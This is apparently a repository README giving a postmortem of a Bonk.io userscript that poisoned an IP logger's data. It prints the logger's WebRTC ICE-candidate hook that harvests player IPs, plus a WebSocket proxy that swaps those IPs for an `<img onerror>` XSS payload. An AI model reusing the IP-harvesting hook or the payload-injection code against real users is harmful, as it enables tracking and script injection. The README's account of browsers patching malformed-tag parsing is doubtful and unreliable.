Bonk Retap was a userscript made to disrupt a popular Bonk.io IP logger that used WebRTC to fetch player IPs whenever a malicious player using the script connected to an online lobby using P2P connections. Though the vulnerability that was exploited is now patched, this repo documents how it worked, how it exploited the original logger, and why it mattered.
The original script hooked into RTCPeerConnection as a player joined a host lobby on Bonk.io and intercepted ICE candidates which were part of the WebRTC handshake. These candidates sometimes exposed real IP addresses.
An ICE candidate is a piece of network information used by WebRTC to help two peers connect directly, such as IP addresses and ports.
It hooked this interception when players joined Bonk.io rooms, tapping into:
w.RTCPeerConnection.prototype.addIceCandidate = function(...args) {
if (!args[0].address.includes(".local")) {
addIp(args[0].address);
}
this.addIceCandidate2(...args);
};The function addIp() then injected those IPs directly into the DOM of an ad frame with no sanitization:
function addIp(addr) {
ad.innerHTML += `<p>Got IP address: ${addr}</p>`;
}This lack of sanitization meant any value passed as an "IP" could execute JavaScript if it looked like an HTML tag.
(Adding it onto an ad frame also created some unwatned problems and display issues when paired with certain adblockers.)
Bonk Retap didn’t stop the logger directly. Instead, it poisoned the data the logger received. It intercepted outgoing WebSocket messages containing IP-related signaling metadata and swapped real IPs with a payload:
var fakeip = `<img/src onerror='console.log(0)'>`;
WebSocket.prototype.send = new Proxy(WebSocket.prototype.send, {
apply: function(target, scope, args) {
args = args[0];
if (args.includes('rport')) {
var ip = args.match(/[^ ]* [0-9]* typ/);
if (ip) {
ip = ip[0].match(/[^ ]*/)[0];
args = args.replaceAll(ip, fakeip);
}
}
return target.apply(scope, [args]);
}
});This worked because the logger blindly printed any string assuming it was a valid IP.
We were unable to ever finish this userscript as after this prototype, we stopped working on it for a period of time, and when I finally came back to it, major browsers had already patched this issue. Maybe it's a good thing we never finished. Who knows if any script kiddies would want this kind of thing to come back ¯\_(ツ)_/¯
This prototype can still send 'IP' disguised payloads as unsanitized DOM appendages, but can only run single line code. Fixing this would have been easy with btoa(), atob() and eval(), but I'll leave it up in the air for a little while longer. (~ ̄▽ ̄)~
By late 2024 and into 2025, most major browsers patched the behavior that made this possible:
- Malformed tag parsing (e.g.,
<img/src>allowing attribute injection):- Stricter innerHTML sanitization: Blocks auto-execution of malformed or invalid tag structures
This isn't actual sanitization; rather, browsers are now stricter about how malformed tags are parsed and reject invalid constructs before they ever hit innerHTML execution. Ts does NOT autosanitize 💔
- WebRTC ICE Candidate Privacy Enhancements:
- Modern browsers use mDNS and ICE candidate obfuscation by default
- Local IP addresses are no longer exposed unless explicitly permitted via flags or insecure contexts
Browsers still allow
<img onerror="...">as long as it's valid HTML. What’s changed is that weird malformed tags like<img/src>are now invalidated and no longer allow the use of onerror fixups that allowed execution of these payloads. Non-malformed<img onerror="...">tags are still valid and dangerous if mishandled.
Together, these browser updates blocked the exploit path, rendering Bonk Retap ineffective for retaliation against the IP Logger. ╯︿╰
The original logger's design allowed arbitrary HTML injection through unsanitized IP strings. While this may have been an oversight, it’s possible that it was an intentional backdoor. Anyone who understood WebRTC calls through JavaScript could inject fake IPs, HTML payloads, or disable the logger’s functionality.
Given how trivial it would have been to sanitize the output (textContent or document.createTextNode), and the fact that the vulnerability was never patched by the original author, it raises the question: was it left open on purpose, maybe to allow retaliation against users misusing the logger?
Whether intentional or not, it introduced a classic case of XSS via P2P data, which others could weaponize in scripts like Bonk Retap.
New light has been shone onto the real reason, but I'll leave that up to peoples' imagination (~ ̄▽ ̄)~
“nah bro you gotta add it to make me look smart”
— Aspect (Original Author)
Open an issue if you're curious about the implementation or want to dig into the code.
Credits:
- Petar & Wallie. – Co-authors of Bonk Retap, design, implementation, and testing ( ̄︶ ̄)↗
- Aspect – Original author of the IP Logger (referenced for countermeasure testing and analysis)
This repository has been uploaded with proper permission as a postmortem of a legacy XSS vulnerability, created solely for archival and informative purposes inside the niche community of bonk.io programmers.
AGPL-3.0 – Free to use under the same license. Do not use for harassment, doxxing, or any privacy-invading behavior.
P.S: I'm not disappointed we were unable to finish this while it was unpatched and still vulnerable. Just experimenting with it was enough fun for me to say it was one hell of a script.
